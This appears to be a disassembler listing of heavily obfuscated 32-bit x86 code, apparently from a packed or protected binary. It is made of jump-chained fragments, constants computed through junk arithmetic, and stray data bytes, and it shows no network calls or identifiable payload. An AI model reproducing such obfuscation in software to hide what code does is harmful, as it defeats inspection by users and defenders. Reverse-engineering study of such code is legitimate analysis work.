		pop	edi
		sub	ebp, 6A4CCDCh
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59E3C8
; ---------------------------------------------------------------------------


loc_59D599:				; CODE XREF: sdfs____:005A83DDj
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A562C
; ---------------------------------------------------------------------------


loc_59D5A6:				; CODE XREF: sdfs____:005A197Ej
		mov	dh, 9
		and	cl, dh
		jmp	loc_5A70EA
; ---------------------------------------------------------------------------


loc_59D5AF:				; CODE XREF: sdfs____:005A23E4j
		xchg	edx, [esp]
		jmp	loc_59D83C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0F1E92434h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D5BF:				; CODE XREF: sdfs____:005A8EA1j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59DB3E
; ---------------------------------------------------------------------------


loc_59D5CB:				; CODE XREF: sdfs____:0059FE93j
					; sdfs____:005A017Bj
		push	edi
		mov	edi, 4177C40h
		jmp	loc_5A6B58
; ---------------------------------------------------------------------------


loc_59D5D6:				; CODE XREF: sdfs____:005AA6D7j
		add	ebx, 4AC167Eh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AD795
; ---------------------------------------------------------------------------


loc_59D5EA:				; CODE XREF: sdfs____:0059CC5Aj
					; sdfs____:005A4F6Fj
		sub	esp, 4
		mov	[esp], esi
		push	75644385h
		pop	esi
		not	esi
		xor	esi, 135B7C24h
		not	esi
		dec	esi
		add	esi, 0B9391357h
		push	esi
		mov	ecx, [esp]
		push	ebx
		jmp	loc_5A6C09
; ---------------------------------------------------------------------------
		db 1, 0EAh, 81h
		dd 4B2836EAh, 0AE7E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D61E:				; CODE XREF: sdfs____:005A551Bj
		pop	ebp
		push	720Eh
		mov	[esp], edx
		mov	edx, 8470FBh
		or	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_5AA775
; ---------------------------------------------------------------------------


loc_59D635:				; CODE XREF: sdfs____:0059BDD3j
					; sdfs____:005AF6EDj
		sub	[edi+24h], ecx
		pop	ecx


loc_59D639:				; CODE XREF: sdfs____:005A49DAj
		push	52A7h
		jmp	loc_59C5CF
; ---------------------------------------------------------------------------


loc_59D643:				; CODE XREF: sdfs____:005AB334j
		sub	ch, bh
		pop	bx
		jmp	loc_5AC9BD
; ---------------------------------------------------------------------------


loc_59D64C:				; CODE XREF: sdfs____:005A14E8j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5ACED3
; ---------------------------------------------------------------------------
		dw 21B7h
		dd 28F3EE80h, 0D342E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D66A:				; CODE XREF: sdfs____:005A2A8Fj
		neg	edx
		add	edx, 62549Eh
		jmp	loc_59FBE1
; ---------------------------------------------------------------------------


loc_59D677:				; CODE XREF: sdfs____:0059B12Bj
		pop	ecx
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		shl	esi, 5
		push	eax
		jmp	loc_5AD243
; ---------------------------------------------------------------------------


loc_59D687:				; CODE XREF: sdfs____:0059BF6Fj
		mov	esi, 7FA3A79h
		push	ebx
		jmp	loc_5B01BA
; ---------------------------------------------------------------------------
		dw 0D387h
		dd 0D387D2F7h, 0EB81D3F7h, 78071E58h, 0D15BDF89h, 0F0E953E7h
		dd 81000084h, 4C2h, 0E9525300h,	11C64h
; ---------------------------------------------------------------------------


loc_59D6B8:				; CODE XREF: sdfs____:0059B83Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A5219
; ---------------------------------------------------------------------------


loc_59D6C3:				; CODE XREF: sdfs____:0059D2D9j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AC9DE
; ---------------------------------------------------------------------------


loc_59D6D1:				; CODE XREF: sdfs____:005AD541j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A48E1
; ---------------------------------------------------------------------------
		dw 4E5Dh
		dd 0F756DEF7h, 0E6E92414h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D6E7:				; CODE XREF: sdfs____:005A4BCBj
		add	al, 0D5h
		pop	edx
		sub	al, 7Dh
		sub	al, dh
		add	al, 7Dh
		add	al, 0A9h
		jmp	loc_5AB511
; ---------------------------------------------------------------------------


loc_59D6F7:				; CODE XREF: sdfs____:0059E405j
		mov	bl, dl
		pop	edx
		xor	bl, 9
		push	edx
		mov	dl, 0EAh
		inc	dl
		jmp	loc_59FD01
; ---------------------------------------------------------------------------


loc_59D707:				; CODE XREF: sdfs____:005A08C3j
					; sdfs____:005A9431j
		push	500Eh
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_5A7402
; ---------------------------------------------------------------------------


loc_59D716:				; CODE XREF: sdfs____:0059DC6Dj
		mov	[esp], edx
		push	7F331E6Eh
		pop	edx
		push	esi
		mov	esi, 2ADB1C6Bh
		and	edx, esi
		pop	esi
		sub	edx, 56330C93h
		jl	loc_5A688E
		neg	edx
		sub	esp, 4
		jmp	loc_59EE3E
; ---------------------------------------------------------------------------


loc_59D73E:				; CODE XREF: sdfs____:0059EBF0j
		add	esp, 4
		jmp	loc_5A0024
; ---------------------------------------------------------------------------


loc_59D746:				; CODE XREF: sdfs____:0059D962j
		sub	bl, 2Bh
		add	bl, al
		push	382Ch
		mov	[esp], eax
		mov	ah, 74h
		dec	ah
		shl	ah, 1
		xor	ah, 0CDh
		inc	ah
		xchg	bl, ah
		not	bl
		xchg	bl, ah
		xor	ah, 0F8h
		add	bl, ah
		jmp	loc_5AEC87
; ---------------------------------------------------------------------------


loc_59D76E:				; CODE XREF: sdfs____:0059C0ECj
		push	ecx
		mov	ecx, 6EA95900h
		xor	edi, ecx
		pop	ecx
		sub	edi, 16253D97h
		xor	ebx, edi
		pop	edi
		jmp	loc_59D9AA
; ---------------------------------------------------------------------------
		db 32h,	2 dup(24h)
		dd 0FFC387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D78D:				; CODE XREF: sdfs____:005A569Dj
		shl	edx, 1
		push	ecx
		push	esi
		mov	esi, 589E0604h
		jmp	loc_5A71F0
; ---------------------------------------------------------------------------


loc_59D79B:				; CODE XREF: sdfs____:0059988Dj
		mov	edi, 1EDA1F1Fh
		push	ebp
		mov	ebp, 387F6943h
		jmp	loc_5AE912
; ---------------------------------------------------------------------------
byte_59D7AB	db 0FFh			; DATA XREF: sdfs____:00598E50o
		dd 0B95DE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D7B2:				; CODE XREF: sdfs____:00599FDAj
		mov	[esp], ebp
		push	ebx
		push	1FA66C2Fh
		pop	ebx
		and	ebx, 2A92496Eh
		sub	ebx, 0CAF40709h
		mov	ebp, ebx
		jmp	loc_5AA288
; ---------------------------------------------------------------------------


loc_59D7CF:				; CODE XREF: sdfs____:0059EDB9j
		mov	[esp], ecx
		push	ebx
		push	ecx
		mov	cl, 0F1h
		mov	bh, 89h
		xor	bh, cl
		pop	ecx
		mov	ch, 0C5h
		sub	ch, bh
		pop	ebx
		push	bx
		mov	bh, 0FAh
		and	ch, bh
		pop	bx
		shr	ch, 5
		jmp	loc_5A7D33
; ---------------------------------------------------------------------------


loc_59D7F0:				; CODE XREF: sdfs____:005A69C9j
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4E072D68h
		add	ebp, 27FA47DEh
		sub	ebp, 32A2F33h
		jmp	loc_5A816D
; ---------------------------------------------------------------------------


loc_59D80C:				; CODE XREF: sdfs____:005A73B6j
		mov	esp, [esp]
		shl	eax, cl
		push	ebx
		push	eax
		push	15233EDCh
		pop	eax
		add	eax, 196F4D0Fh
		jno	loc_5A34B7
		push	edx
		jmp	loc_5A8DE7
; ---------------------------------------------------------------------------
		dw 0CBE9h
		dd 8900000Bh, 0A0BD242Ch, 0E974094Bh, 0D19Ah
; ---------------------------------------------------------------------------


loc_59D83C:				; CODE XREF: sdfs____:0059D5B2j
		pop	esp
		jmp	loc_5A3649
; ---------------------------------------------------------------------------


loc_59D842:				; CODE XREF: sdfs____:0059C441j
		pop	esp
		add	esi, 4
		push	esi
		jmp	loc_59F2F7
; ---------------------------------------------------------------------------


loc_59D84F:				; CODE XREF: sdfs____:loc_5A62ABj
		and	ebp, 0B0E5609h
		jns	loc_5A732D
		and	ebp, 6F3219FCh
		jmp	loc_5A6085
; ---------------------------------------------------------------------------


loc_59D866:				; CODE XREF: sdfs____:005A627Fj
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		and	cl, 0Ah
		jnp	loc_5A68AD
		jmp	loc_5A4BB7
; ---------------------------------------------------------------------------


loc_59D87B:				; CODE XREF: sdfs____:00599173j
		pop	esi
		xor	eax, 0CB77CDEh
		neg	eax
		push	1BE6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_59B316
; ---------------------------------------------------------------------------
		dd 0E6630BBBh, 34C38134h, 0F5D3865h, 0FFF8A687h, 800F4BFFh
		dd 0FFFFCA78h, 0D9E9DBF7h, 5E000067h, 0E782BA52h, 0D3312FA3h
		dd 0AAFDE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D8C6:				; CODE XREF: sdfs____:005AC6B6j
		jmp	loc_5AA265
; ---------------------------------------------------------------------------


loc_59D8CB:				; CODE XREF: sdfs____:0059A1DDj
		pop	eax
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	edx
		jnz	loc_59E95D
		push	6D39h
		mov	[esp], ebp
		and	bh, 2


loc_59D8E9:				; CODE XREF: sdfs____:005AB741j
		or	esi, 10F7434Ah
		push	ebp
		jmp	loc_59BE6B
; ---------------------------------------------------------------------------


loc_59D8F5:				; CODE XREF: sdfs____:005ADEF5j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 203A36FDh
		mov	ebx, 203A3701h
		add	ebx, 58A024EAh
		sub	ebx, eax
		sub	ebx, 58A024EAh
		pop	eax
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5AA12E
; ---------------------------------------------------------------------------
		dw 0A968h
		dd 89000036h, 0D4E9241Ch
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D93B:				; CODE XREF: sdfs____:005A0E49j
		pop	esp
		mov	[esp], ecx
		jmp	loc_59BF12
; ---------------------------------------------------------------------------
		dd 0A9E9D101h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D94B:				; CODE XREF: sdfs____:0059EF03j
		xchg	esi, edi
		not	esi
		jmp	loc_5A64C9
; ---------------------------------------------------------------------------


loc_59D954:				; CODE XREF: sdfs____:0059CBDCj
		mov	al, 2Ah
		add	al, 11h
		shl	al, 4
		sub	al, 5Fh
		add	al, 8
		sub	bl, al
		pop	eax
		jmp	loc_59D746
; ---------------------------------------------------------------------------


loc_59D967:				; CODE XREF: sdfs____:005A9439j
		add	esp, 4
		jmp	loc_5A42DB
; ---------------------------------------------------------------------------


loc_59D96F:				; CODE XREF: sdfs____:005AF980j
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5ACCBF
; ---------------------------------------------------------------------------


loc_59D995:				; CODE XREF: sdfs____:005A460Bj
					; sdfs____:005A5588j
		sub	ecx, 1A096262h
		add	ecx, 6C5F12EAh
		pop	esi
		xor	ecx, [esp]
		jmp	loc_5A3AD9
; ---------------------------------------------------------------------------


loc_59D9AA:				; CODE XREF: sdfs____:0059D780j
		sub	esp, 4
		jmp	loc_59D10F
; ---------------------------------------------------------------------------


loc_59D9B2:				; CODE XREF: sdfs____:005A7436j
		mov	esi, 1A843094h
		and	edx, esi
		pop	esi
		add	edx, 7E1421F4h
		not	edx
		shr	edx, 4
		xor	edx, 59FC87DDh
		add	eax, edx
		jmp	loc_5A6B2F
; ---------------------------------------------------------------------------


loc_59D9D2:				; CODE XREF: sdfs____:005A6F8Bj
		shr	eax, 5
		jmp	loc_59F67F
; ---------------------------------------------------------------------------


loc_59D9DA:				; CODE XREF: sdfs____:005A0807j
		mov	edx, 1A334E74h
		sub	edx, 0AE6D48A0h
		sub	eax, 3F25007Bh
		add	eax, edx
		add	eax, 3F25007Bh
		pop	edx
		pop	edi
		xor	eax, 0D8732015h
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_5B021F
; ---------------------------------------------------------------------------


loc_59DA02:				; CODE XREF: sdfs____:005A6640j
		mov	esi, 7436991h
		shr	esi, 8
		jmp	loc_5A175B
; ---------------------------------------------------------------------------
		db 52h
		dd 435C8CBAh, 0C1DAF765h, 0EAC103EAh, 0CDEA8106h, 0E9E1659Fh
		dd 0FFFFC48Bh, 4246C81h, 3ABF7CBCh, 0B6D9E959h,	0CB81FFFFh
		dd 238112A1h, 0DBB28B0Fh, 0E3C10000h, 3C77E905h, 0E1C10000h
		db 6, 54h
; ---------------------------------------------------------------------------


loc_59DA4E:				; CODE XREF: sdfs____:005AD96Dj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59E5F7
; ---------------------------------------------------------------------------


loc_59DA57:				; CODE XREF: sdfs____:0059CD5Ej
		pop	ecx
		push	eax
		mov	eax, 4A132688h
		xor	eax, 32CA5349h
		jmp	loc_5A7099
; ---------------------------------------------------------------------------


loc_59DA68:				; CODE XREF: sdfs____:005AB908j
		add	eax, 0A6134972h
		sub	eax, 137F67E9h
		sub	eax, 44387051h
		sub	eax, 0B3ED0EB9h
		add	esi, 7DD519BBh
		add	esi, eax
		sub	esi, 7DD519BBh
		jmp	loc_5AD03E
; ---------------------------------------------------------------------------


loc_59DA8F:				; CODE XREF: sdfs____:005AC102j
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5A765F
; ---------------------------------------------------------------------------


loc_59DAA0:				; CODE XREF: sdfs____:00599E53j
		js	loc_5A45AB
		jmp	loc_5AEBB9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 5FE907E3h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DAB3:				; CODE XREF: sdfs____:00599A0Aj
		push	eax
		jmp	loc_5AAEBF
; ---------------------------------------------------------------------------


loc_59DAB9:				; CODE XREF: sdfs____:0059A0C5j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 15BB1265h
		jmp	loc_5A0C04
; ---------------------------------------------------------------------------


loc_59DAD3:				; CODE XREF: sdfs____:005AD93Cj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59CDCD
; ---------------------------------------------------------------------------


loc_59DAF8:				; CODE XREF: sdfs____:0059C328j
		dec	edx
		and	edx, 17FB4805h
		jo	loc_5A2AEA
		add	edx, 0FE132BF2h
		jmp	loc_5A1BB6
; ---------------------------------------------------------------------------


loc_59DB10:				; CODE XREF: sdfs____:0059C561j
		push	edx
		mov	edx, 7E057B31h
		or	edx, 65A56D72h
		and	edx, 4E075EA1h
		sub	edx, 0B0E5752h
		not	edx
		add	edx, 7835637Ch
		sub	ecx, edx
		pop	edx
		add	ecx, 0BFE22173h
		jmp	loc_59E1C0
; ---------------------------------------------------------------------------


loc_59DB3E:				; CODE XREF: sdfs____:0059D5C6j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5AF940
; ---------------------------------------------------------------------------


loc_59DB52:				; CODE XREF: sdfs____:005A96D3j
		xchg	esi, [esp]
		jmp	loc_5A7E4B
; ---------------------------------------------------------------------------


loc_59DB5A:				; CODE XREF: sdfs____:005AF087j
		or	eax, eax
		jz	loc_59C459
		push	dword ptr [edi+1Ch]
		jmp	loc_5A2957
; ---------------------------------------------------------------------------


loc_59DB6A:				; CODE XREF: sdfs____:005AAA88j
		add	ecx, 408A2FECh
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A9773
; ---------------------------------------------------------------------------


loc_59DB82:				; CODE XREF: sdfs____:005A6C9Ej
		push	ebx
		push	1D6B5B8Ch
		pop	ebx
		sub	ebx, 97C02F5Ch
		jmp	loc_5A2133
; ---------------------------------------------------------------------------


loc_59DB94:				; CODE XREF: sdfs____:005A9B40j
		add	esp, 4
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59DBA3:				; CODE XREF: sdfs____:00599521j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edi
		push	esp
		jmp	loc_59DD54
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 0E924248Bh, 61D8h
; ---------------------------------------------------------------------------


loc_59DBC0:				; CODE XREF: sdfs____:005A2AF9j
		push	eax
		mov	eax, 4A50695Dh
		dec	eax
		jmp	loc_5AC081
; ---------------------------------------------------------------------------
		dd 0A2E0C281h, 0D001FECDh, 8124148Bh, 4C4h, 2BB5300h, 1000000h
		dd 2434FFD8h, 4C4815Bh,	33000000h, 60E92404h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DBF7:				; CODE XREF: sdfs____:005A9C28j
		xor	edi, ebp
		xchg	edi, [esp]
		jmp	loc_59A28C
; ---------------------------------------------------------------------------


loc_59DC01:				; CODE XREF: sdfs____:0059F067j
		sub	esi, 1D987ABDh
		sub	esi, 7F875592h
		add	esi, ebx
		add	esi, 7F875592h
		add	esi, 1D987ABDh
		push	ebp
		mov	ebp, 0C4970A3h
		sub	esi, ebp
		pop	ebp
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_59F66D
; ---------------------------------------------------------------------------


loc_59DC2D:				; CODE XREF: sdfs____:0059CD6Cj
		sub	al, 0E9h
		mov	dx, [esp]
		jmp	loc_5A5176
; ---------------------------------------------------------------------------
		dd 295FFE89h, 0F83BE9F0h
		db 2 dup(0FFh),	0C3h
byte_59DC43	db 66h			; DATA XREF: sdfs____:00598E2Co
		dd 5324048Bh, 5063E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DC4D:				; CODE XREF: sdfs____:0059A061j
		add	edx, 512806C4h
		sub	edx, 3BAD9218h
		add	ebx, edx
		pop	edx
		jmp	loc_59BF41
; ---------------------------------------------------------------------------


loc_59DC61:				; CODE XREF: sdfs____:005A8D0Fj
		pop	esi
		jmp	loc_59C9EC
; ---------------------------------------------------------------------------


loc_59DC67:				; CODE XREF: sdfs____:0059E702j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59D716
; ---------------------------------------------------------------------------


loc_59DC72:				; CODE XREF: sdfs____:loc_5A6456j
		push	7C41h
		jmp	loc_59AF88
; ---------------------------------------------------------------------------


loc_59DC7C:				; CODE XREF: sdfs____:0059F235j
		add	edi, 4
		jmp	loc_5AE6AB
; ---------------------------------------------------------------------------


loc_59DC87:				; CODE XREF: sdfs____:0059DFBFj
		push	esp
		pop	ebp
		add	ebp, 4
		push	16AAh
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 371D313Ah
		jmp	loc_59D534
; ---------------------------------------------------------------------------


loc_59DCA7:				; CODE XREF: sdfs____:005A13CBj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A2843
; ---------------------------------------------------------------------------
		dd 3D9F68h, 24048900h, 0E388EC88h, 0DD7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_59DCD1:				; CODE XREF: sdfs____:005A5319j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59DCE9:				; CODE XREF: sdfs____:loc_5AE237j
		and	dh, 0CFh
		jnb	loc_5AA9C3
		add	dh, 93h
		jl	loc_599C07
		pop	esi


loc_59DCFC:				; CODE XREF: sdfs____:0059B45Ej
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59DD01:				; CODE XREF: sdfs____:005AA6CCj
		shl	edx, 8
		jz	loc_5A04DB
		dec	edx
		jg	loc_59F216
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp]
		push	ebp


loc_59DD1D:				; CODE XREF: sdfs____:005A7E84j
		and	edx, 5A94864h
		and	edx, 1AE561C2h
		push	ebx
		mov	ebx, 4CC24829h
		and	edx, ebx
		jmp	loc_5A7754
; ---------------------------------------------------------------------------
word_59DD36	dw 34FFh		; DATA XREF: sdfs____:00599060o
		dd 24048B24h, 4EC81h, 0C890000h, 68E18924h, 7983h, 0E9241C89h
		dd 0B5E4h
; ---------------------------------------------------------------------------


loc_59DD54:				; CODE XREF: sdfs____:0059DBAFj
		mov	edi, [esp]
		jmp	loc_59A2B8
; ---------------------------------------------------------------------------


loc_59DD5C:				; CODE XREF: sdfs____:loc_5A1A1Dj
					; sdfs____:005AAB94j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5AB72A
; ---------------------------------------------------------------------------


loc_59DD7C:				; CODE XREF: sdfs____:005AB7C8j
		pop	eax
		not	esi
		add	esi, 0C880848h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59C3AA
; ---------------------------------------------------------------------------


loc_59DD95:				; CODE XREF: sdfs____:0059D3B2j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 0FFC163E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DDA9:				; CODE XREF: sdfs____:005A1A18j
		mov	cx, [esp]
		push	3897h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 2
		push	1C33h
		mov	[esp], ebp
		jmp	loc_5AC722
; ---------------------------------------------------------------------------


loc_59DDD0:				; CODE XREF: sdfs____:005AC332j
		mov	edx, esp
		jmp	loc_5AA294
; ---------------------------------------------------------------------------


loc_59DDD7:				; CODE XREF: sdfs____:005A1485j
		pop	ebp
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5ADDC8
; ---------------------------------------------------------------------------


loc_59DDE9:				; CODE XREF: sdfs____:00599875j
		pop	esp
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_5AF252
; ---------------------------------------------------------------------------


loc_59DDF4:				; CODE XREF: sdfs____:005A8312j
		and	esi, 652C4504h
		add	esi, 2BFA7D2Ch
		sub	esi, 0B80259BFh
		xor	ebp, esi
		jmp	loc_59E374
; ---------------------------------------------------------------------------


loc_59DE0D:				; CODE XREF: sdfs____:005A60D2j
		sub	ecx, 0DC909F8Dh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 416E4C81h
		add	dword ptr [esp+4], 26023989h
		jmp	loc_5A3A64
; ---------------------------------------------------------------------------
		dd 49810F4Fh, 81000004h, 1C7h, 29EF8100h, 89C9A875h, 0BE95FFBh
		dd 810000D4h, 4ECh, 243C8900h, 5A2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59DE59:				; CODE XREF: sdfs____:005A6816j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5A5311
; ---------------------------------------------------------------------------


loc_59DE6B:				; CODE XREF: sdfs____:005A538Ej
		pop	edi
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5AD723
; ---------------------------------------------------------------------------


loc_59DE77:				; CODE XREF: sdfs____:0059A62Dj
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, 5A1B566Eh
		jmp	loc_5AFA7E
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 181F7CDAh, 0AF05E9h,	0E9FE8800h, 1086Ah
; ---------------------------------------------------------------------------


loc_59DE9C:				; CODE XREF: sdfs____:005AEC76j
		jmp	loc_599EC4
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 2819h
; ---------------------------------------------------------------------------


loc_59DEA8:				; CODE XREF: sdfs____:005A3970j
		xchg	eax, [esp]
		pop	esp
		and	edi, 0DB33D5Bh
		jmp	loc_59ADAB
; ---------------------------------------------------------------------------


loc_59DEB7:				; CODE XREF: sdfs____:005A888Ej
		add	ah, 0AFh
		jmp	loc_59D4B9
; ---------------------------------------------------------------------------


loc_59DEBF:				; CODE XREF: sdfs____:005A0395j
		pop	edx
		push	ebp
		jmp	loc_59D05E
; ---------------------------------------------------------------------------


loc_59DEC6:				; CODE XREF: sdfs____:005AB9FAj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5A300C
; ---------------------------------------------------------------------------


loc_59DEDD:				; CODE XREF: sdfs____:005AF8CCj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AD4D8
; ---------------------------------------------------------------------------


loc_59DEE8:				; CODE XREF: sdfs____:0059F875j
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0AEBFh
		dd 47671E34h, 0B85FE9h
		db 0
; ---------------------------------------------------------------------------


loc_59DF01:				; CODE XREF: sdfs____:005AD566j
		push	esi
		mov	esi, 34CA3864h
		jmp	loc_59A2EB
; ---------------------------------------------------------------------------
aMrHt		db 'ºmrÞ=hT',0Ah,0
		align 2
		dw 0C89h
		dd 1315E924h, 0C8290001h, 5C82959h, 76570929h, 5BF46853h
		dd 1C8B09ABh, 4C48324h,	67F68h,	24148900h, 0CE0CBABAh
		dd 81DAF742h, 0C73AA9C2h, 5AD329A1h, 0B79F381h,	0C381462Dh
		dd 12962383h, 62DDBE56h, 0EE8121C4h, 0C7873E90h, 6AF7EB81h
		dd 0F3012787h, 6AF7C381h, 348B2787h, 4C48324h, 49C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DF7D:				; CODE XREF: sdfs____:005A623Aj
		add	edi, ebx
		pop	ebx
		jmp	loc_5A3431
; ---------------------------------------------------------------------------


loc_59DF85:				; CODE XREF: sdfs____:005AACFBj
		pop	edi
		add	esp, 4
		add	edi, 4
		push	ebx
		push	7749h
		mov	[esp], edi
		push	6FDE1040h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A5E6C
; ---------------------------------------------------------------------------


loc_59DFA6:				; CODE XREF: sdfs____:005A552Ej
		jp	loc_5ADBA5
		push	bx
		mov	bh, 96h
		sub	cl, bh
		mov	bx, [esp]
		push	edi


loc_59DFB7:				; CODE XREF: sdfs____:005AFC2Fj
		push	55F0h
		mov	[esp], ebp
		jmp	loc_59DC87
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0FFC83100h,	51592434h, 0C181E189h
		dd 4, 4BE56h, 0F1010000h, 240C335Eh, 8E80E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DFED:				; CODE XREF: sdfs____:005AE425j
		sub	ebp, 72BB3CF7h
		add	ebp, edx
		add	ebp, 72BB3CF7h
		sub	ebp, 352951A0h
		add	ebp, 32712ED6h
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_59D4EA
; ---------------------------------------------------------------------------


loc_59E01B:				; CODE XREF: sdfs____:005A5BFDj
		add	eax, 1FBC263Fh
		neg	eax
		jmp	loc_59BB3A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95B2434h, 0FFFFD56Fh
; ---------------------------------------------------------------------------


loc_59E030:				; CODE XREF: sdfs____:005AC50Fj
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	loc_5AF6F8
; ---------------------------------------------------------------------------


loc_59E03D:				; CODE XREF: sdfs____:005A6121j
		jnp	loc_5B00C1
		xor	ecx, 5DD30C1Fh
		jo	loc_5A4828
		push	edi
		push	eax


loc_59E051:				; CODE XREF: sdfs____:00599808j
		mov	ebp, 4
		jmp	loc_5A8BC8
; ---------------------------------------------------------------------------


loc_59E05B:				; CODE XREF: sdfs____:005A0ED2j
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AEAB9
; ---------------------------------------------------------------------------


loc_59E067:				; CODE XREF: sdfs____:005AC585j
		push	eax
		mov	ah, 7Fh
		mov	cl, ah
		pop	eax
		and	dh, cl
		pop	cx
		xor	dh, 0D7h
		add	al, dh
		mov	edx, [esp]
		jmp	loc_59D008
; ---------------------------------------------------------------------------


loc_59E07E:				; CODE XREF: sdfs____:005A6BB7j
		pop	edx
		push	eax
		push	esp
		jmp	loc_5AA3AE
; ---------------------------------------------------------------------------


loc_59E086:				; CODE XREF: sdfs____:005A98C2j
		xchg	eax, [esp]
		jmp	loc_5A96B0
; ---------------------------------------------------------------------------


loc_59E08E:				; CODE XREF: sdfs____:005A2B58j
